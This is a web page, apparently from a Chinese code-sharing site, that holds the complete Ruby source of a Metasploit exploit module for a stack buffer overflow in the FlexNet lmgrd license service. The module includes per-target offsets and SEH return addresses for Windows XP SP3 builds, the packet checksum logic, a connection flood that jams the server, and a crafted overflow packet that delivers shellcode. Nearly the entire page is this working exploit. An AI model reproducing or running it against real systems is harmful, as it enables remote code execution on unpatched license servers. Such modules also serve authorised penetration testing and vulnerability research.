扫码分享
验证：
体验盒子|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 |
## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::Tcp include Msf::Exploit::Remote::Seh def initialize(info = {}) super(update_info(info, 'Name' => 'FlexNet License Server Manager lmgrd Buffer Overflow', 'Description'=> %q{ This module exploits a vulnerability in the FlexNet License Server Manager. The vulnerability is due to the insecure usage of memcpy in the lmgrd service when handling network packets, which results in a stack buffer overflow. In order to improve reliability, this module will make lots of connections to lmgrd during each attempt to maximize its success. }, 'Author' => [ 'Luigi Auriemma', # Vulnerability Discovery and PoC 'Alexander Gavrun', # Vulnerability Discovery 'juan vazquez', # Metasploit module 'sinn3r' # Metasploit module ], 'License'=> MSF_LICENSE, 'References' => [ [ 'OSVDB', '81899' ], [ 'BID', '52718' ], [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-052/' ], [ 'URL', 'http://aluigi.altervista.org/adv/lmgrd_1-adv.txt' ] ], 'Privileged' => true, 'DefaultOptions' => { 'EXITFUNC' => 'process' }, 'Payload' => { 'Space' => 4000 }, 'Platform' => 'win', 'Targets'=> [ [ 'Debug', {} ], [ 'Autodesk Licensing Server Tools 11.5 / lmgrd 11.5.0.0 / Windows XP SP3', { 'Offset' => 10476, 'ShellcodeOffset' => 5504, 'Ret' => 0x0047d01f # ppr from lmgrd.exe } ], [ 'Alias License Tools 10.8.0.7 / lmgrd 10.8.0.7 / Windows XP SP3', { 'Offset' => 7324, 'ShellcodeOffset' => 2332, 'Ret' => 0x004eda91 # ppr from lmgrd.exe } ], [ 'Alias License Tools 10.8 / lmgrd 10.8.0.2 / Windows XP SP3', { 'Offset' => 7320, 'ShellcodeOffset' => 2328, 'Ret' => 0x004eb2e1 # ppr from lmgrd.exe } ], ], 'DefaultTarget'=> 1, 'DisclosureDate' => 'Mar 23 2012')) register_options( [ Opt::RPORT(27000), OptInt.new('Attempts', [ true, 'Number of attempts for the exploit phase', 20 ]), OptInt.new('Wait', [ true, 'Delay between brute force attempts', 2 ]), OptInt.new('Jam', [ true, 'Number of requests to jam the server', 100 ]) ], self.class) end def header_checksum(packet) packet_bytes = packet.unpack("C*") checksum = packet_bytes[0] i = 2 while i < 0x14 checksum = checksum + packet_bytes[i] i = i + 1 end return (checksum & 0x0FF) end def data_checksum(packet_data) word_table = "" i = 0 while i < 256 v4 = 0 v3 = i j = 8 while j > 0 if ((v4 ^ v3) & 1) == 1 v4 = ((v4 >> 1) ^ 0x3A5D) & 0x0FFFF else v4 = (v4 >> 1) & 0x0FFFF end v3 >>= 1 j = j - 1 end word_table << [v4].pack("S") i = i + 1 end k = 0 checksum = 0 data_bytes = packet_data.unpack("C*") word_table_words = word_table.unpack("S*") while k < packet_data.length position = data_bytes[k] ^ (checksum & 0x0FF) checksum = (word_table_words[position] ^ (checksum >> 8)) & 0x0FFFF k = k + 1 end return checksum end def create_packet(data) pkt = "\x2f" pkt << "\x00" # header checksum pkt << "\x00\x00" # data checksum pkt << "\x00\x00" # pkt length pkt << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" pkt << data pkt[4,2] = [pkt.length].pack("n") data_sum = data_checksum(pkt[4, pkt.length - 4]) pkt[2, 2] = [data_sum].pack("n") hdr_sum = header_checksum(pkt[0, 20]) pkt[1] = [hdr_sum].pack("C") return pkt end def jam pkt = create_packet("") datastore['Jam'].times do connect sock.put(pkt) disconnect end end def exploit i = 1 while i <= datastore['Attempts'] and not session_created? print_status("Attempt #{i}/#{datastore['Attempts']} to exploit...") do_exploit sleep(datastore['Wait']) i = i + 1 end if not session_created? print_error("Exploit didn't work after #{i} attempts") end end def do_exploit t = framework.threads.spawn("jam", false) { jam } my_payload = payload.encoded header_length = 20 # See create_packet() to understand this number pkt_data = "" if target.name =~ /Debug/ pkt_data << "a" * (65535 - header_length) else pkt_data << "a" * target['ShellcodeOffset'] pkt_data << my_payload pkt_data << rand_text(target['Offset']-target['ShellcodeOffset']-my_payload.length) pkt_data << generate_seh_record(target.ret) pkt_data << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-5000").encode_string pkt_data << rand_text(65535 - pkt_data.length - header_length) end pkt = create_packet(pkt_data) connect sock.put(pkt) handler disconnect end end |
体验盒子
